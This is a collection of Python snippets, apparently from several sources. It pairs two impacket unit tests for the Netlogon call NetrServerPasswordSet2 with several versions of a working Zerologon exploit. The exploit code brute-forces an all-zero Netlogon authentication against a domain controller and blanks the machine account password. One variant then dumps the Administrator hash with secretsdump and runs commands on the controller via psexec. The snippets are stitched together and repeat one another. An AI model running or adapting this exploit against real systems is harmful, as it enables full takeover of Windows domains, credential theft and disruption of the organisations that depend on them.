def test_NetrServerPasswordSet2(self): # It doesn't do much, should throw STATUS_ACCESS_DENIED dce, rpctransport = self.connect() request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = self.machineUser + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.serverName + '\x00' request['Authenticator'] = self.update_authenticator() cnp = nrpc.NL_TRUST_PASSWORD() cnp['Buffer'] = b'\x00'*512 cnp['Length'] = 0x8 request['ClearNewPassword'] = cnp.getData() #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD() #request['ClearNewPassword']['Buffer'] = b'\x00' *512 #request['ClearNewPassword']['Length'] = 0x8 try: request.dump() resp = dce.request(request) resp.dump() except Exception as e: if str(e).find('STATUS_ACCESS_DENIED') < 0: raise
def perform_attack(dc_handle, dc_ip, target_computer): ciphertext = b'\x00' * 8 # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') print('\nSTAGE 2:') authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = ciphertext authenticator['Timestamp'] = 0 newpass = nrpc.NL_TRUST_PASSWORD() newpass['Buffer'] = b'\x00' * 512 newpass['Length'] = 0 test = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', authenticator, newpass) print( 'Should have worked. Run secretsdump.py -just-dc-ntlm "domain.tld/DCHOSTNAME\$@DC-IP", and hit that enter button' ) else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def perform_attack(dc_handle, dc_ip, target_computer, target_da="Administrator"): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') plaintext = b'\x00' * 8 sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) CLP = nrpc.NL_TRUST_PASSWORD() CLP['Buffer'] = b'\x00' * 512 CLP['Length'] = '\x00\x00\x00\x00' blah = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516 ) blah.dump() import secretsdump, psexec class SDOptions: def __init__(self): self.use_vss = False self.target_ip = dc_ip self.outputfile = './dumped.tmp' self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" self.exec_method = "smbexec" self.just_dc = True self.just_dc_ntlm = True self.just_dc_user = target_da self.pwd_last_set = self.user_status = self.resumefile = \ self.k = self.history = self.ntds = self.sam = self.security = \ self.system = self.aesKey = self.bootkey = None self.dc_ip = dc_ip class PSOptions: def __init__(self): self.help = False dump = secretsdump.DumpSecrets(dc_ip, target_computer+'$', '', '', SDOptions()).dump() f= open("dumped.tmp.ntds").read() # print(f) hashes = ':'.join(f.split(':')[2:-3]) print(hashes) psexec = psexec.PSEXEC('powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=target_da, serviceName='f****d') psexec.run(dc_name, dc_ip) else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def test_hNetrServerPasswordSet2(self): # It doesn't do much, should throw STATUS_ACCESS_DENIED dce, rpctransport = self.connect() cnp = nrpc.NL_TRUST_PASSWORD() cnp['Buffer'] = b'\x00'*512 cnp['Length'] = 0x8 try: resp = nrpc.hNetrServerPasswordSet2(dce, NULL, self.machineUser, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName, self.update_authenticator(), cnp.getData()) resp.dump() except Exception as e: if str(e).find('STATUS_ACCESS_DENIED') < 0: raise
def perform_attack(dc_handle, dc_ip, target_computer): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') print('Trying to set empty password for DC computer password.') # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81 # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951 nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR() nrpc_Authenticator["Credential"] = b'\x00' * 8 # same as ciphertext nrpc_Authenticator["Timestamp"] = 0 nrpc_Password = nrpc.NL_TRUST_PASSWORD() nrpc_Password['Buffer'] = b'\x00' * 516 nrpc_Password['Length'] = '\x00' * 4 request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = target_computer + '\x00' request['AccountName'] = target_computer + '$\x00' request['ComputerName'] = target_computer + '\x00' request['Authenticator'] = nrpc_Authenticator request['ClearNewPassword'] = nrpc_Password request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel req = rpc_con.request(request) print("Success") else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive #print("session key", sessionKey) try: IV = b'\x00' * 16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var) #print("client stored cred", clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred); #print("authenticator cred", authenticatorCred) authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var #request = nrpc.NetrLogonGetCapabilities() #request['ServerName'] = '\x00'*20 #request['ComputerName'] = target_computer + '\x00' #request['Authenticator'] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 #request['QueryLevel'] = 1 #resp = rpc_con.request(request) #resp.dump() request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD() request["ClearNewPassword"]["Buffer"] = b'\x00' * 512 request["ClearNewPassword"][ "Length"] = 0 # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes resp = rpc_con.request(request) resp.dump() #request['PrimaryName'] = NULL #request['ComputerName'] = target_computer + '\x00' #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') #resp = rpc_con.request(request) #resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: #print(ex) # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')